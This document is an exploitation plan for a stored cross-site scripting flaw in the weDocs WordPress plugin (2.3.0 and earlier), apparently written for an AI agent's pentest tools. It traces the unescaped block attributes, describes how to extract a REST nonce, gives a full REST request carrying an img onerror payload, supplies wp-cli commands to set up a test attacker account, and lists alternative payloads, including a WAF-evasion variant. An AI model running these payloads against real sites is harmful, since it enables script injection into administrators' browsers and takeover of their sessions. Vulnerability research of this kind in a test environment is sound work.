weDocs: AI Powered Knowledge Base, Docs, Documentation, Wiki & AI Chatbot <= 2.3.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'sectionTitleTag' and 'articleTitleTag' Block Attributes

This exploitation research plan targets CVE-2026-12731, a Stored Cross-Site Scripting (XSS) vulnerability in the weDocs plugin.

1. Vulnerability Summary

The weDocs plugin (<= 2.3.0) is vulnerable to Stored XSS because it fails to sanitize or escape the sectionTitleTag and articleTitleTag block attributes before rendering them in the HTML output. An attacker with Contributor level permissions or higher can modify these attributes in the Gutenberg block editor to inject malicious HTML and JavaScript. When a user (including administrators) views the affected page, the script executes in their browser context.

2. Attack Vector Analysis

• Endpoint: WordPress REST API (Gutenberg Editor)
• Vulnerable Block: wedocs/sidebar (inferred from file structure assets/build/blocks/Sidebar/)
• Vulnerable Attributes: sectionTitleTag, articleTitleTag
• Required Role: Contributor, Author, Editor, or Administrator.
• Preconditions: The docs custom post type (inferred) must be editable by the attacker.

3. Code Flow

1. Input: A user with editing permissions creates/updates a Doc. They provide a payload for the sectionTitleTag or articleTitleTag attributes within the Gutenberg block JSON.
2. Storage: The payload is stored in the wp_posts table within the post_content field (e.g., <!-- wp:wedocs/sidebar {"sectionTitleTag":"..."} /-->).
3. Execution (Sink):
   • When the Doc is viewed on the frontend, WordPress invokes the block's render callback.
   • File: assets/build/blocks/Sidebar/render.php
   • Function: render_wedocs_sidebar( $attributes, $content )
   • The attributes are extracted (Lines 149-150):

     $section_title_tag      = $attributes['sectionTitleTag'] ?? 'h3';
     $article_title_tag      = $attributes['articleTitleTag'] ?? 'h4';
     

   • The variables are subsequently used to construct HTML tags (e.g., <$section_title_tag ...>) without being passed through tag_escape() or a whitelist check.

4. Nonce Acquisition Strategy

To update a post via the REST API, the agent must provide a valid REST nonce in the X-WP-Nonce header.

1. Login: Log in as a Contributor.
2. Navigate: Navigate to the "New Doc" or "Edit Doc" page (e.g., /wp-admin/post-new.php?post_type=docs).
3. Extraction: Since this is a Gutenberg-driven environment, the REST nonce is stored in the window.wpApiSettings object.
4. Command:

   browser_eval("window.wpApiSettings.nonce")
   

5. Exploitation Strategy

The goal is to inject an img tag with an onerror handler into the HTML tag name position.

Step 1: Create a Doc

• Tool: http_request
• Method: POST
• URL: /wp-json/wp/v2/docs (Verify post type name first)
• Headers: X-WP-Nonce: [NONCE], Content-Type: application/json
• Body:

  {
    "title": "Security Research",
    "status": "publish",
    "content": "<!-- wp:wedocs/sidebar {\"sectionTitleTag\":\"img src=x onerror=alert(document.domain) \",\"articleTitleTag\":\"h4\"} /-->"
  }
  

Step 2: Trigger Execution

• Navigate to the permalink of the newly created Doc (returned in the link field of the Step 1 response).
• The rendered HTML will contain: <img src=x onerror=alert(document.domain) class="wedocs-section-title">...

6. Test Data Setup

1. Plugin Setup: Install and activate the wedocs plugin (version 2.3.0).
2. User Setup:

   wp user create attacker attacker@example.com --role=contributor --user_pass=password123
   

3. Environment Check: Ensure the docs post type is registered and supports the REST API (standard for modern weDocs).

7. Expected Results

• The REST API should return a 201 Created or 200 OK response confirming the post content was saved.
• Upon navigating to the frontend Doc page, a JavaScript alert box showing the document domain should appear.
• The HTML source of the sidebar should show the broken/injected tag.

8. Verification Steps

1. Check Content: Verify the payload is stored correctly in the database.

   wp post list --post_type=docs --format=csv
   wp post get [POST_ID] --field=post_content
   

2. Check Response: Use http_request to GET the frontend page and verify the presence of the onerror payload.

   # Look for the payload in the raw HTML
   grep "onerror=alert"
   

9. Alternative Approaches

• Attribute Breakout: If the tag name itself is sanitized but attributes are not, try injecting into the className attribute:
  "className": "injected\" onmouseover=\"alert(1)\"".
• Article Tag: Repeat the same strategy using the articleTitleTag attribute if sectionTitleTag is blocked by a firewall/WAF.
• Shortcode (Legacy): Check if the plugin supports a legacy shortcode that uses these same attributes, as shortcodes often share rendering logic with blocks. Look for add_shortcode in the main plugin file.